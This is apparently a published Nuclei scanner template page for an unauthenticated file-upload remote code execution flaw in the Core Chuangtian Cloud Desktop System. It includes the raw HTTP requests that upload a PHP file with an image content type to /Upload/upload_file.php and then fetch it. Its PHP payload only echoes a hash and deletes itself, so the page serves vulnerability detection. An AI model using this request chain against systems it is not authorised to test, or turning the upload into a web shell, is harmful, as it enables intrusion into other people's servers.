Core Chuangtian Cloud Desktop System - Remote Code Execution

ID: core-chuangtian-cloud-rce

Severity: critical

Author: pikpikcu

Tags: rce,fileupload,intrusive,cloud,chuangtian

Description

Core Chuangtian Cloud Desktop System is susceptible to remote code execution vulnerabilities.

YAML Source

id: core-chuangtian-cloud-rce

info:
  name: Core Chuangtian Cloud Desktop System - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Core Chuangtian Cloud Desktop System is susceptible to remote code execution vulnerabilities.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: rce,fileupload,intrusive,cloud,chuangtian
variables:
  string: "core-chuangtian-cloud-rce"

http:
  - raw:
      - |
        POST /Upload/upload_file.php?l=test HTTP/1.1
        Host: {{Hostname}}
        Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
        Accept-Encoding: gzip, deflate
        Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv

        ------WebKitFormBoundaryfcKRltGv
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: image/avif

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        ------WebKitFormBoundaryfcKRltGv--
      - |
        GET /Upload/test/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'
# digest: 4b0a00483046022100b3dd2f15f2a175aa2be910ce7b30e55065315e7be5d81c5e83e293708c32371a022100b03d7379f6755bfc7d905b8cadab991efe8553906b0273c91667d39a8db448d6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/core-chuangtian-cloud-rce.yaml"

View on Github